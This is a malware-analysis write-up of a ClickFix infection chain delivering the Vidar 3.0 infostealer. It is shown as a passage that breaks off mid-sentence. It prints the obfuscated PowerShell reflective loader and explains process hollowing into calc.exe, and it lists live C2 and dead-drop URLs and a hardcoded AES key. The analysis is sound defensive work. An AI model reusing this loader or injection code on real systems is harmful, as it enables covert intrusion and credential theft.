0. Preface
This write-up combines two analysis passes on one sample set
(vidar-sample/clickfix/): a static + dynamic characterisation of the full
ClickFix infection chain, and a deep-dive static analysis of the final
payload’s live-decrypted memory image. The first pass answered how the
payload arrives; the second answered what it is and what it does — and in
doing so upgraded the family identification from “stealer-shaped, unconfirmed”
to Vidar 3.0, self-identified, with the entire configuration, 194-API
capability surface, and all 568 decrypted strings recovered.
Only the post-clipboard artifacts were provided for analysis — the HTML/JS
ClickFix lure page itself is not in the sample set, and the ThreatFox-sourced
delivery URL (hxxp://86.107.168.126/verification.vrf, last seen 2026-07-16,
unreachable at analysis time) is a candidate initial download rather than a
confirmed one. Everything from the PowerShell loader down is fully
characterised, statically and dynamically.
C2, up front: hxxps://2.29.7.186 — a hardcoded IP with no SNI and no DNS,
plus a three-platform dead-drop resolver (telegram.me/m1duus,
www.pinterest.com/m1duus, steamcommunity.com/profiles/76561198657426610)
sharing the operator handle m1duus behind the separator word x4tte.
![Infection chain: a ClickFix lure (not in sample set; ThreatFox indicator verification.vrf on 86.107.168.126 is a candidate initial download) plants a PowerShell one-liner via Win+R; the PS1 base64-decodes and rolling-XORs a 1.56 MB blob and reflectively loads it with Assembly.Load(byte[]); Hollow_Runner.Program extracts an embedded 622×621 BMP resource XORed with “121314”, then process-hollows the recovered PE into a suspended calc.exe; the self-decrypted payload is Vidar 3.0 (build c4365025…fe4429c) with sandbox guards, dead-drop resolvers, a direct C2, task round trips, collection, and AES-256 exfiltration](/malware-analysis/posts/vidar-3-0-clickfix-vrf-bmp-steganography-and-568-code-generated-strings/infection-chain.png)
1. The Threat at a Glance
| Attribute | Assessment |
|---|---|
| Malware type | ClickFix delivery → PowerShell reflective loader → .NET process-hollowing loader → Vidar 3.0 infostealer |
| Delivery | ClickFix social-engineering (victim pastes a PowerShell one-liner into Win+R); lure page not in sample set |
| Family / version | Vidar 3.0 (self-reported in recovered config; fallback provider string says 2.8) |
| C2 | hxxps://2.29.7.186 (hardcoded IP, no SNI, no DNS) + Steam/Telegram/Pinterest dead-drop resolvers (x4tte tag) |
| Target | Windows (PS1 + x86 .NET loader; final payload x64) |
| Payload delivery inside the chain | XOR steganography in a BMP + classic process hollowing into calc.exe |
| Evasion | Rolling-XOR PS1 obfuscation; zero static imports (custom FNV-1a API hashing, 194 APIs); no plaintext strings (568 code-generated strings + keyed-XOR config); junk code/opaque predicates; anti-debug ×3; scored sandbox suite; ntdll-direct syscalls |
| Stealer capability | Browsers (incl. Chrome v20 App-Bound Encryption bypass), wallets, Telegram/Discord/Steam, FileZilla/WinSCP, Azure, file grabber, screenshot, second-stage loader |
| Attribution | Russian-language developer logging in the binary; m1duus campaign handle; Vidar-consistent TTPs |
| Confidence | High (chain traced end-to-end statically + live detonation; config/strings/API hashes recovered and verified against the runtime IAT and pcap) |
2. Infection Chain Overview
| Stage | File | SHA-256 | Role |
|---|---|---|---|
| 0* | ClickFix lure page (HTML/JS) | — | Not in sample set. Timeline: ThreatFox indicator hxxp://86.107.168.126/verification.vrf, last seen 2026-07-16 — candidate initial download |
| 1 | 463197e4...61.ps1 | 463197e44988b401501816cf53a42212f4dabb6838272e4641cf03761772f061 | PowerShell loader: base64-decode + rolling-XOR an embedded 1.56 MB blob, reflectively load the .NET assembly in memory |
| 2 | cf4cd52d...09.exe | cf4cd52d002d27e0aa092906be199dd017d26ad39c81c292c4016b2f37f15709 | Hollow_Runner.Program (.NET 4.8): extracts a payload hidden in an embedded BMP via XOR steganography, process-hollows it into a fresh calc.exe |
| 3 | stage2_819b8c72...5.bin (extracted) | 819b8c72cf69208a6206fe5642011b9d6b54fd83c9eac0646526bc39b32d86e5 | The injected payload — crypted x64 PE, zero imports, no plaintext strings; Vidar 3.0 after self-decryption in memory (dump 1f23112d...6b7d036e) |
This is a three-stage chain carried by two nested encryptions: the PS1 hides the .NET hollowing loader behind base64 + rolling XOR, and the .NET loader hides the real stealer inside a BMP behind a per-pixel XOR. Neither stage writes its payload to disk — the entire chain runs from memory.
3. Stage 1 — PowerShell Loader (verification.vrf / 463197e4...61.ps1)
30 lines total; line 2 alone is 1,566,737 characters (the entire payload, base64-encoded). Stripped of that blob, the script is a single function:
function Invoke-crcspsszf {
$fokfowe = "<1.56MB base64 blob>"
$csuwn = 98 # XOR key byte
$ohqfyt = 30 # rolling modulus
$mjmrz = [Type]::GetType("System.Con"+"vert")
$nukscs = $mjmrz.GetMethod("FromBa"+"se64String").Invoke($null, @($fokfowe))
[Byte[]]$vzfrltgd = New-Object Byte[] $nukscs.Length
for($ukxb=0; $ukxb -lt $nukscs.Length; $ukxb++) {
$vzfrltgd[$ukxb] = $nukscs[$ukxb] -bxor $csuwn -bxor ($ukxb % $ohqfyt)
}
$pmjujv = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.FullName -match "mscorlib" }
$pmjujv = $pmjujv.GetType("System.Refle"+"ction.Assem"+"bly")
$loaded = $pmjujv.InvokeMember("Lo"+"ad", [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, @(,$vzfrltgd))
if ($loaded.EntryPoint) {
$params = $loaded.EntryPoint.GetParameters()
if ($params.Count -eq 0) { $loaded.EntryPoint.Invoke($null, @()) }
else { $loaded.EntryPoint.Invoke($null, @(,[string[]]@())) }
} else {
$type = $loaded.GetTypes() | Where-Object { $_.IsPublic } | Select-Object -First 1
$method = $type.GetMethods() | Where-Object { $_.IsStatic } | Select-Object -First 1
$method.Invoke($null, $null)
}
}
Invoke-crcspsszf
Technique notes:
Identifier obfuscation. Every variable/function name is randomized (
$fokfowe,$csuwn,Invoke-crcspsszf) — no semantic value, purely to defeat naming-pattern/YARA rules. Consistent with output from an automated PS1 obfuscator rather than hand-written code.String-literal splitting. Sensitive API names are built via concatenation —
"System.Con"+"vert","FromBa"+"se64String","System.Refle"+"ction.Assem"+"bly","Lo"+"ad"— so the intact literalsSystem.Convert,FromBase64String,System.Reflection.AssemblyandLoadnever appear in the file.Reflection instead of direct calls.
[Type]::GetType(...)+.GetMethod(...).Invoke(...)instead of calling[System.Convert]::FromBase64String(...)directly — avoids the literal API call pattern static scanners look for.Payload encoding: base64 → rolling XOR. Every byte is XORed with a constant key byte (
98) XORed again with(index % 30)— a repeating 30-byte keystream, not a fixed single-byte XOR. Trivially reversible once the constant and modulus are known:raw = base64.b64decode(blob) out = bytes(b ^ 98 ^ (i % 30) for i, b in enumerate(raw))Decoding
1,566,720base64 chars yields exactly1,175,040bytes — the same size ascf4cd52d...09.exe, and the SHA-256 of the decoded bytes matches the standalone.exeexactly (cf4cd52d002d27e0aa092906be199dd017d26ad39c81c292c4016b2f37f15709), confirming the.exeis precisely what the script loads.In-memory reflective load — no file drop from the script itself.
System.Reflection.Assembly.Load(byte[])loads the decoded PE from a managed byte array; nothing touches disk. Even theAssemblytype lookup goes throughInvokeMember.Generic entry-point invocation. If
EntryPointtakes zero parameters it is invoked with@(); if it takes one, with an emptystring[]. If the assembly has no entry point, the script falls back to the first public type’s first static method — a generic “just execute something” harness that works across differently-built payload assemblies.
MITRE ATT&CK (Stage 1): T1059.001 (PowerShell) · T1027 (obfuscation) · T1140 (runtime decode) · T1620 (reflective code loading) · T1204.001 (inferred — the ClickFix delivery, not present in this sample set).
4. Stage 2 — Hollow_Runner.Program (.NET, cf4cd52d...09.exe)
file: PE32 executable ... Intel i386 Mono/.Net assembly, 3 sections.
diec: .NET Framework 4.8, CLR 4.0.30319, Microsoft Linker, CodeView debug
records. Not obfuscated — clean type/method names, decompiles cleanly.
Sole interesting type: Hollow_Runner.Program.
Embedded resources:
XOR_Loader.build.txt— build-log noise (MSBuild artifact, not meaningful)XOR_Loader.build_main.exe.bmp— 1,160,082-byte BMP carrying the real payload via XOR steganography
Main():
string secret = "121314";
string text = "XOR_Loader.build_main.exe.bmp";
byte[] array = ProcessImageRaster(GetManifestResourceStream(text), secret);
if (array != null) { RunHollow(array); }
4.1 ProcessImageRaster — BMP steganography extraction
Reads the BMP’s biWidth/biHeight at header offset 18, seeks to pixel data
at the fixed 54-byte header boundary (uncompressed 24bpp BMP), then for every
row XORs each raw pixel byte against the ASCII bytes of "121314" cycling
across the whole image (row padding bytes skipped). The first 4 bytes of the
result are a little-endian int32 payload length; the following length bytes
are the real payload.
This is not classic LSB steganography — the whole pixel byte is XORed, so the image is visibly noise, not a plausible-looking picture. The BMP container exists only to smuggle a length-prefixed encrypted blob past filters that treat images as inert.
Reversed and verified in this analysis:
width, height = struct.unpack_from("<ii", data, 18) # 622 x 621
row_bytes = width * 3 # 1866
pad = (4 - (row_bytes & 3)) & 3 # 2
# XOR every pixel byte (row by row, skipping pad) against "121314", cycling
# first 4 bytes of result -> int32 length (1,157,120)
# next `length` bytes -> payload, magic bytes "MZ" (a PE)
Output SHA-256 819b8c72cf69208a6206fe5642011b9d6b54fd83c9eac0646526bc39b32d86e5
— saved as stage2_819b8c72...5.bin.
4.2 RunHollow — classic x64 process hollowing
- Resolves
CreateProcessW,VirtualAllocEx,WriteProcessMemory,GetThreadContext,SetThreadContext,ResumeThreaddynamically viaGetModuleHandle("kernel32.dll")+GetProcAddress+ delegate marshaling — onlyCreateProcessis a directDllImport; the injection APIs never appear as static imports. CreateProcess(%SystemRoot%\System32\calc.exe, ..., dwCreationFlags=0x4 /* CREATE_SUSPENDED */)— spawns the legitimate Calculator suspended as the hollowing target. A masquerading choice: present on every Windows install, innocuous name.- Parses the payload as a raw PE —
e_lfanewat offset 60,AddressOfEntryPoint(+40),ImageBase(+48),SizeOfImage/SizeOfHeaders(+80/+84) straight out of the byte buffer. VirtualAllocExat the payload’s preferredImageBasefirst (PAGE_EXECUTE_READWRITE/MEM_COMMIT|MEM_RESERVE); falls back to an OS-chosen address if taken.WriteProcessMemoryof the PE headers, then walks the section table (NumberOfSectionsat +6; section headers atPE header + 24 + SizeOfOptionalHeader) and maps each section toallocated_base + VirtualAddress— manually performing what the Windows PE loader normally does, but inside the remote suspended process.GetThreadContexton the suspended thread, setsRiptoallocated_base + AddressOfEntryPoint, and — the defining hollowing step — patches the remote PEB’sImageBaseAddress: writes the new base as an 8-byte little-endian value to[Rdx+16]. Atntdll!RtlUserThreadStartentry on x64,RDX=PEB, andPEB+0x10=ImageBaseAddress— the OS/CRT is made to believe the hollowed image is the process’s “real” module.SetThreadContext+ResumeThread— execution resumes at the injected PE’s entry point inside what tooling sees ascalc.exe.- On any failure in 3–7, the target is force-killed
(
Process.GetProcessById(pid).Kill()) to avoid leaving an inert suspendedcalc.exeas a forensic artifact.
MITRE ATT&CK (Stage 2): T1055.012 (Process Hollowing) · T1027.003
(Steganography) · T1620 (reflective code loading) · T1106 (Native API) ·
T1036.004/.005 (Masquerading as calc.exe) · T1140 (BMP XOR deobfuscation).
5. Stage 3 — The Payload, Statically (the crypted on-disk PE)
file: PE32+ executable for MS Windows 6.00 (GUI), x86-64, 4 sections.
diec: MSVC 19.29.30152 (VS2019 16.11) linker, PE64.
| Field | Value |
|---|---|
| ImageBase | 0x360000000 |
| EntryPoint RVA | 0xFDB8 |
| Sections | .text (0x112400 raw, entropy 5.73), .rdata (0x6a00, entropy 5.85), .data (0x1200 raw / 0x13fda0 virtual — ~1.28 MB of zero-filled runtime scratch, disproportionate to its tiny on-disk size), .reloc |
| Import Address Table | empty — 0 imported DLLs/functions; APIs resolved at runtime (hash/PEB-walk style) |
| Export/Resource/TLS/Bound-Import directories | all empty |
| Strings | none in plaintext — naive strings hits are x86-64 prologue/epilogue opcode bytes (UVWATAUAVAWH = push rbp; push rbx; push rdi; ...), not text |
Static assessment: a crypted/loader-wrapped native stealer-shaped binary —
huge code section vs near-empty import table, oversized zero-initialized
.data (typical unpack buffer / decrypted-string landing zone), zero static
strings. Consistent with a Vidar-family stealer stub but not confirmable
statically (an abuse.ch lookup was blocked by a bot-check page). Resolving
family, config, and C2 required dynamic analysis and the memory-dump deep dive
(§6, §7).
6. Dynamic Analysis — Flare-VM Detonation
Environment: genuine Google FLARE-VM build, Windows 10 x64, driven headless
via VBoxManage guestcontrol, snapshotted off the pristine Clean Flare
baseline. Tooling: hollows_hunter/pe-sieve (hasherezade), fakenet-ng
(DNS/HTTP/HTTPS interception + pcap), tshark. No Procmon/Sysmon in this
build — process/network/filesystem/registry state was diffed via scripted
before/after snapshots.
6.1 Finding: the captured .ps1 does not actually run
Executing the PS1 exactly as saved throws a hard PowerShell parse error:
Missing closing '}' in statement block or type definition.
At ...463197e4...61.ps1:19 char:29
+ if ($loaded.EntryPoint) {
Brace-counting confirms it: 2 unmatched { in the de-blobbed script body
(9 open vs 7 close) — one missing } before the outer } else {, one closing
the function at end of file. PowerShell refuses to parse the whole script, so
nothing executes — not even the base64/XOR decode (empty loader_stdout.txt,
ExitCode never set). This is a genuine bug in the author’s obfuscated wrapper
as captured, not a collection artifact.
Pivot: the .exe is a separately compiled assembly (byte-identical to the
intended PS1 payload per §3), unaffected by this scripting bug — dynamic
analysis proceeded by executing cf4cd52d...09.exe directly.
6.2 Process hollowing — confirmed by two independent detectors
pe-sieve and hollows_hunter against the resulting calc.exe (PID 8984)
both immediately flagged it:
"is_pe_replaced": 1, "implanted_pe": 1, "is_connected_to_peb": 1,
"module": "360000000", "module_size": "25c000"
0x360000000 / 0x25c000 match the static ImageBase/SizeOfImage from
RunHollow() — dynamic result lines up with the static prediction exactly.
6.3 Recovered runtime IAT — the static blind spot, resolved
pe-sieve /imp 2 reconstructed the payload’s IAT from the live process
(dynamic_analysis_artifacts/recovered_runtime_iat.txt). Where static analysis
found zero imports, the running process shows:
| Module | Notable APIs | Purpose |
|---|---|---|
winhttp.dll | WinHttpOpen/Connect/OpenRequest/SendRequest/WriteData/ReceiveResponse/ReadData/QueryHeaders/CrackUrl | HTTP(S) C2 communication / exfil |
bcrypt.dll | BCryptGenerateSymmetricKey/Encrypt/Decrypt/GenRandom | Decrypting stored browser/credential secrets (or encrypting exfil) |
ntdll.dll | NtReadVirtualMemory/NtWriteVirtualMemory/NtOpenProcess, full NtQuery*/registry Nt* set | Cross-process memory access, registry enumeration |
kernel32.dll | CreateToolhelp32Snapshot+Process32First/NextW, LoadLibraryA+GetProcAddress, CreateDirectoryA | Process enumeration, the dynamic API-resolution mechanism itself, staging directory creation |
advapi32.dll | GetCurrentHwProfileA | Hardware/victim fingerprinting (bot ID) |
A textbook infostealer capability profile.
6.4 Network — C2 confirmed, with a dead-drop resolver pattern
hollows_hunter/pe-sieve also dumped the live, self-decrypted memory
image of the injected module (2,473,984 bytes — larger than the 1,157,120-byte
on-disk payload, consistent with runtime unpacking;
hollowed_memory_dump_decrypted.bin,
SHA-256 1f23112d0a72e91e10f4efb19e001dab4577e638a3fe1e8c007d4c7f6b7d036e).
Unlike the on-disk file, the dump contains plaintext strings:
https://2.29.7.186
https://steamcommunity.com/profiles/76561198657426610
https://telegram.me/m1duus
https://www.pinterest.com/m1duus
The pcap corroborates this: 11 TLS ClientHello attempts to 2.29.7.186:443
during the detonation window, each with no SNI extension and no preceding
DNS query — a hardcoded-IP connection deliberately avoiding DNS and SNI-based
detection. Every connection completed a real TCP handshake (TIME_WAIT, not
RST), so 2.29.7.186 was live and listening at analysis time. (All other
captured traffic — Visual Studio, Microsoft traffic-shaping, Watson — is
ordinary Windows/VM telemetry, confirmed unrelated.)
The three social links, all sharing the handle m1duus, are a classic
dead-drop resolver: the operator publishes the live C2 address in a
profile’s bio/about field so it can be rotated without recompiling, and the
payload scrapes the profile before falling back to the hardcoded IP. This
multi-platform resolver pattern, .NET hollowing loader, WinHTTP C2 and
BCrypt-based secret decryption is a well-documented Vidar Stealer TTP —
raising family confidence well beyond the static-only assessment (made fully
conclusive by the deep dive, §7).
6.5 No persistence, no attributable disk artifacts (detonation window)
HKCU\...\CurrentVersion\Runidentical before/after — no Run-key persistence.- Filesystem diff (
%TEMP%,%LOCALAPPDATA%,%APPDATA%, Startup) showed nothing attributable in the ~20 s window — consistent with in-memory collection/exfil over HTTPS, or a collection cycle cut short by evidence collection. - Refined later (§7.7.2): the payload does persist a bot ID to
HKCU(read-first, create-on-miss) — identity persistence, not execution persistence; a Run-key-only registry diff would not have caught it.
6.6 Artifacts retained (dynamic_analysis_artifacts/)
| File | Contents |
|---|---|
hollowed_memory_dump_decrypted.bin | Live memory dump of the injected module (decrypted strings, resolved IAT) |
recovered_runtime_iat.txt | Reconstructed import table (pe-sieve /imp 2) |
pesieve_scan_report.json / hollows_hunter_summary.json | Detection reports confirming process hollowing |
pcap_tls_sni_log.txt | All TLS ClientHello SNI values during detonation |
pcap_c2_ip_traffic.txt | Raw packet fields for traffic to/from 2.29.7.186 |
7. Stage 3 Deep Dive — The Decrypted Memory Dump
Source: hollowed_memory_dump_decrypted.bin (SHA-256
1f23112d0a72e91e10f4efb19e001dab4577e638a3fe1e8c007d4c7f6b7d036e). All RVAs
refer to the dump, where FileAlignment == SectionAlignment == 0x1000, so
RVA == file offset throughout.
7.1 Identification
MSVC 19.29.30152 = VS2019 v16.11. Not .NET, not Go, not Rust, not
packed (.text entropy 5.72 — normal compiled code).
| Field | Value |
|---|---|
| ImageBase | 0x360000000 (matches pe-sieve "module": "360000000") |
| SizeOfImage | 0x25C000 (matches "module_size": "25c000") |
| EntryPoint | RVA 0xFDB8 |
| Subsystem | 2 (GUI) — no console window |
| DllCharacteristics | HIGH_ENTROPY_VA | DYNAMIC_BASE | NX_COMPAT | TERMINAL_SERVER_AWARE |
| TimeDateStamp | 2026-08-05 20:50:41 UTC |
| Debug directory | type 13 (POGO) only — no CODEVIEW record, no PDB path |
| Section | VA | VSize | Entropy | Notes |
|---|---|---|---|---|
.text | 0x1000 | 0x113000 | 5.724 | 1.1 MB of code, 1406 functions |
.rdata | 0x114000 | 0x7000 | 5.628 | almost entirely .pdata + debug dir |
.data | 0x11B000 | 0x140000 | 0.161 | 99% zero — only 13,149 non-zero bytes |
.reloc | 0x25B000 | 0x1000 | 0.039 | 6 fixups — already relocated |
The two structural facts everything follows from:
- The import directory is zero — zero imported DLLs/functions; every API is resolved at runtime (§7.4).
- There are no strings — a naive
stringsscan returns 505 hits on the 2.4 MB binary, essentially all x86-64 opcode bytes misread as text. No ASCII stack-strings either. The real strings live encrypted in.data(§7.3).
7.2 How this PE is produced, extracted and run
Recap of the handoff, end-to-end (source: stage2.cs, decompiled
Hollow_Runner.Program): the Stage 3 PE is smuggled inside the embedded BMP
resource (§4.1), extracted in Main(), and run by process hollowing into
calc.exe (§4.2), with the remote PEB patched so the OS sees the injected
image as the process’s real module:
dWriteProcessMemory2(lpProcessInformation.hProcess,
(IntPtr)(long)(structure.Rdx + 16), // PEB->ImageBaseAddress
bytes, (uint)bytes.Length, out lpNumberOfWrittenBytes);
if (!dSetThreadContext2(lpProcessInformation.hThread, intPtr3))
The analysis environment was rebuilt as: pe-sieve /pid <calc pid> /imp 2 /dmode 3; kuna functions <dump> --mode aggressive; kuna decompile-project ... --mode aggressive --max-fn-seconds 60 → 1242 functions
decompiled, 0 failed (of 1406 .pdata entries; the ~164 difference is small
helpers/thunks, 19 of which contain API calls and were decompiled individually
by VA).
7.3 String obfuscation — two independent mechanisms
Easy to miss: a keyed XOR routine covering the config blob only, and 568 per-string builder functions covering everything else.
7.3.1 Config blob — keyed XOR. One routine, sub_360105914 @ RVA
0x105914 — repeating-key XOR with a running (non-functional) checksum.
Callers pass key = 0x36011B0F0, keylen = 0x10 (derived through an opaque
predicate that always yields 16). The key is a static buffer:
88 aa 7a b3 4e d4 83 37 86 fd 5b b4 0b 4b 99 11
The stack arrays and mixing loops around every call site are junk — the key is
the static buffer, not runtime-computed. Decrypting the embedded ciphertext
reproduces the runtime .data exactly. Config-only.
7.3.2 Per-string builder functions — the real “string table”. There is no
second table. Instead, hundreds of individual generator functions, one per
string, each allocating a small buffer, computing its bytes arithmetically
from a shared 32-bit seed, and caching the result in its own global.
sub_36008F524 is representative:
long long sub_36008f524(void)
{
if (dat_3602553f8) return dat_3602553f8; // cached on first call
v7 = sub_36002587c(0xc); // alloc 12 bytes (11 chars + NUL)
v4 = sub_3600339f4(); // the shared seed
v9 = (unsigned char)v4; // seed byte 0
v10 = 99 - v9; v11 = v1 ^ 0xf1; // ... per-string arithmetic ...
sub_360033f70(v5, &v8, 0xb); // copy 11 bytes out
*(char *)(v5 + 0xb) = 0;
Every string uses a different mix of xor/add/subtract against different
seed bytes — no single key to lift — but all draw on one seed, computed once
and cached. Because this is a live dump, the seed is already materialised @
RVA 0x254A90:
dat_360254a90 (seed) = 0x6B519DF3 dat_360254a94 (init flag) = 1
Applying the arithmetic to those four seed bytes: sub_36008F524() -> "plugin_name". This is why the binary has no strings — and a large part of why
~194 APIs of logic occupy 1.1 MB across 1406 functions.
7.3.3 Bulk recovery — 568/568 strings by emulation. Each builder calls
exactly four helpers and nothing else (sub_36002587C alloc,
sub_3600339F4 seed, sub_360033F70 copy, sub_360033FE0 memset);
intersecting the call graph yields 568 functions — the complete string
table. Emulation is trivial with the seed known: patch the allocator (it
calls HeapAlloc through pointers into unmapped kernel32) to return a fixed
scratch buffer, run each builder to a sentinel return address, read RAX. The
68 whose cache globals pointed into the real process heap (not in the image)
were handled with a read-hook on first .data access, cache-global zeroed,
re-run. Result: 568/568, zero failures → recovered_strings.txt,
per-function annotation in function_strings_map.txt.
7.3.4 What the strings reveal. Several earlier inferences are now confirmed, and several new facts surface:
| Earlier finding | String that confirms it |
|---|---|
| Multipart POST | Content-Type: multipart/form-data; boundary=----%s, Cache-Control: no-cache, name="build_id", name="mode" → lg |
| Base64 response | parse_response: base64 decode failed |
| HWID field 1 format | %08lX%04lX%08lX (8+4+8 = the 20 hex chars of AD5F6F34615DCCFF1E59) |
| PPID spoofing + fallback | spoof-parent, direct, spoof: all parents failed, fallback direct, earlybird: direct parent (spoof fallback) |
| APC injection | earlybird, apc: OpenThread resolve failed, %s: not copied (earlybird failed) |
| Tag-delimited DDR | Dead drop: %s (sw: %s), Dead drop: sepword '%s' не найден |
- The author’s own name for the DDR tag is “sepword” / “кодовое слово”
(code word) —
x4tteis a separator word, exactly as deduced from control flow. - Language/attribution: a substantial minority of log strings are
Russian, mixed with English in the same build (developer-facing logging,
e.g.
Кодовое слово не найдено, пробуем напрямую: %s,Crypto: %d кошельков (%s), %d файлов,Screenshot: запуск). Reasonable indicator of a Russian-speaking developer, not proof of operator location. - Hardcoded AES-256 key.
sub_360003104fetches a 64-char hex string, hex-decodes it to 32 bytes, and hands it to BCrypt’s key-import path, initialised immediately before the C2 session — it keys the C2/exfil payload crypto:4f8a2b1c9d3e7f6a0b5c1d8e2f9a4b7c6d3e0f1a2b5c8d9e0f1a2b3c4d5e6f7aA static, build-wide key — a captured pcap from this build is decryptable with it. Highest-value IOC of the pass. - Mutex name:
Glasikprostik. - Self-copy path:
%LOCALAPPDATA%\cnfigAp\, spawned withexplorer.exeas the spoofed parent, falling back to the direct parent. - Fallback config provider (
sub_360105340, reached only when the XOR key byte is zero): references exactly2.8(a different version string) andx4tte— no URLs of its own.
7.4 API hashing — custom FNV-1a, 194/194 resolved
sub_36010342C @ RVA 0x10342C:
unsigned int sub_36010342c(unsigned char *name)
{
unsigned int h = 0x63975773; // basis (standard FNV-1a: 0x811C9DC5)
for (; *name; name = &name[1]) {
h = (*name ^ h) * 0x10003F1; // prime (standard FNV-1a: 0x01000193)
}
return h;
}
Both constants non-standard, so off-the-shelf FNV rainbow tables miss.
Verified 14/14 against ground-truth (slot → name) pairs from pe-sieve’s
runtime IAT (NtClose → 0xB8FBB59F, NtCreateFile → 0x64D95E8B, …).
sub_360103F20 is a full manual export walk: validates MZ/PE, iterates
AddressOfNames, hashes each name, and correctly handles forwarded exports
(recurse if the RVA falls inside the export directory). Module bases come from
a PEB walk; the two module-name hashes are 0x7A6E9517 = ntdll.dll and
0x76AADBD3 = kernel32.dll. Resolved pointers are cached into per-DLL
.data tables — exactly what pe-sieve reconstructed as the “runtime IAT”.
Matching every 32-bit immediate in .text against a rainbow table built from
wine export tables (84,024 names) plus mingw import libs (204,642 distinct
hashes):
194 resolved; of the 191 hash constants at resolver call sites, 0 remain unresolved. This is the main gain over the dynamic artifacts: the runtime IAT captured ~60 APIs actually called in the 20 s detonation; static resolution recovers the complete 194-API capability surface, including every branch the sandbox never reached.
| DLL (as attributed) | Count |
|---|---|
| kernel32 | 83 |
| ntdll | 38 |
| advapi32 | 18 |
| mincore (API-set forwarder → kernel32/ntdll) | 13 |
| bcrypt | 12 |
| gdi32 | 7 |
| gdiplus | 5 |
| rstrtmgr | 4 |
| crypt32, onecore | 3 each |
| combase | 2 |
| user32, setupapi, iisrtl, infocomm | 1 each |
| module-name hashes | 2 |
(mincore/onecore/combase rows are API-set forwarders whose real home is
kernel32/ntdll. One entry, 0x600DA28C, matched only mingw symbol noise —
flagged low-confidence. Full table: resolved_api_hashes.txt.)
7.5 Obfuscation and anti-analysis
Junk code / opaque predicates. A compile-time obfuscator inflates ~194 APIs of logic into 1.1 MB / 1406 functions:
- a global state accumulator (
dat_36022A9F0) mutated constantly for no functional reason — a tamper/flow-integrity token; - dead stack arrays with mixing loops whose results are discarded;
- opaque predicates — branches on the accumulator where both arms are equivalent.
Control flow itself is not obfuscated — capstone decodes 100% of every
.pdata function, 7,304 direct vs 471 indirect calls. The noise is arithmetic,
not flattening.
Anti-debug ×3, all confirmed at their call sites: ThreadHideFromDebugger
(ThreadInformationClass 0x11), ProcessDebugPort (7), and
ProcessDebugObjectHandle (0x1e).
Sandbox/timing evasion: randomised sleeps derived from rdtsc sprinkled
through network and task paths (rand(0,3000)+1000 between C2 attempts;
rdtsc % 0x5DD + 1000 after task completion). GetTickCount,
QueryPerformanceCounter, GetSystemMetrics all resolved.
ntdll-direct syscalls: 38 Nt* routines resolved directly from ntdll,
bypassing the kernel32 wrappers most user-mode EDR hooks sit on — file I/O,
registry, memory, and process/thread paths.
Scored sandbox suite — the recovered strings expose a scored, not pass/fail, sandbox check feeding a threshold:
sb: score %d / %d (need 8)
sb: passed
| Log string | Check |
|---|---|
sb: internet FAIL / skip | outbound connectivity |
sb: debugger FAIL / OK | debugger present |
sb: peb_flags FAIL | PEB BeingDebugged / NtGlobalFlag |
sb: rdtsc %lu FAIL / OK | timing / instruction-cost anomaly |
sb: modules FAIL | analysis DLLs loaded |
sb: av_sandbox FAIL | AV emulator artefacts |
sb: uptime %lu sec — too fresh, waiting %lu ms | host uptime too low → sleeps rather than aborting |
Also present: analyst-artefact blacklist strings — John, JOHN-PC,
sandbox, SANDBOX (checked against USERNAME/computer name) — and Defender
process names MsMpEng.exe, MpCmdRun.exe. AV product fingerprinting
(reported to the C2 as Antivirus: %s): Avast, AVG, ESET, Trend Micro,
Kaspersky, Windows Defender, Bitdefender, Norton, Malwarebytes, Dr.Web, plus
AV: none detected. This is the most likely explanation for the detonation’s
quiet ~20 s window: with the C2 tearing down every connection, the sb: internet check and the retry loop kept the sample in waiting states.
7.6 Configuration
Fixed-size record array, lazily decrypted on first access. Encrypted
stride 0x243, base RVA 0x11B162; decrypted stride 0x240, base RVA
0x2570E0. Fields per record: url[0x100], tag[0x40] (@0x2571E0),
ua[0x100] (@0x257220). Record count @0x11C137; version ciphertext
0x11B100 → 0x2580A0; build ID 0x11B121 → 0x2580E0.
Access is gated by a lazy initialiser revealing a two-path config provider:
if the key’s first byte is zero, the build uses the fallback provider
(sub_360105340, the 2.8/x4tte one from §7.3.4) instead of the encrypted
blob. Not the case here.
Recovered config (decrypted offline from ciphertext — reproduces the
runtime .data exactly):
| # | URL | Tag | Type |
|---|---|---|---|
| 0 | https://2.29.7.186 | (none) | direct C2 |
| 1 | https://telegram.me/m1duus | x4tte | dead-drop resolver |
| 2 | https://www.pinterest.com/m1duus | x4tte | dead-drop resolver |
| 3 | https://steamcommunity.com/profiles/76561198657426610 | x4tte | dead-drop resolver |
- Version:
3.0— Build / campaign ID:c4365025bf4905e4621f91972fe4429c - User-Agents: record 0 uses a macOS Chrome UA
(
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/145.0.0.0 Safari/537.35); records 1–3 share a Windows Edge 144 UA.
Machine-readable: static_decrypted_config.json.
7.7 Dead-drop resolver (DDR) logic
Per-record dispatch. sub_360101764 walks the decrypted array; the tag
field is the switch — tagged URL ⇒ dead-drop page to scrape (WinHTTP GET with
the record’s UA, extract the value delimited by x4tte from the profile body,
prefix-validate http:///https:// before use); untagged URL ⇒ used directly
as the C2. This is why the tag is x4tte: the operator wraps the live C2 in
that marker inside the Steam/Telegram/Pinterest profile bio and rotates it
without recompiling.
Retry policy. sub_360100C90: 400–800 attempts (rand(0,400)+400) at 1–4 s
jittered sleeps (rand(0,3000)+1000 ms) — potentially several hours of
retrying. This matches the capture exactly (pcap_tls_sni_log.txt), the
endpoints cycling in config-array order ~1.5 s apart:
170.812883 10.0.2.15 -> 2.29.7.186 443 (no SNI, no preceding DNS)
170.860224 10.0.2.15 -> ... 443 telegram.me
170.922266 10.0.2.15 -> ... 443 www.pinterest.com
170.985804 10.0.2.15 -> ... 443 steamcommunity.com
172.313249 10.0.2.15 -> 2.29.7.186 443 (cycle repeats)
Counts across the run: 44 each to the three resolver hosts, 59 flows to
2.29.7.186 — the direct-IP record tried first, with no SNI. The C2
completed real TLS handshakes then tore each down immediately, which is why the
loop kept falling through to the resolvers.
Task round trip. sub_360029900(ctx, task_id, parser_fn, out_struct, label)
is a generic request/parse pump: step 1 builds a multipart/form-data
POST (random 20-byte MIME boundary, consuming build_id/victim-id fields, tag
and task ID); step 2 the response is base64-decoded by a hand-rolled
decoder (sub_36001CE30 derives each 6-bit value arithmetically from character
ranges — which is why no base64 alphabet appears anywhere in the image);
step 3 the decoded body is JSON, walked by a small JSON library and
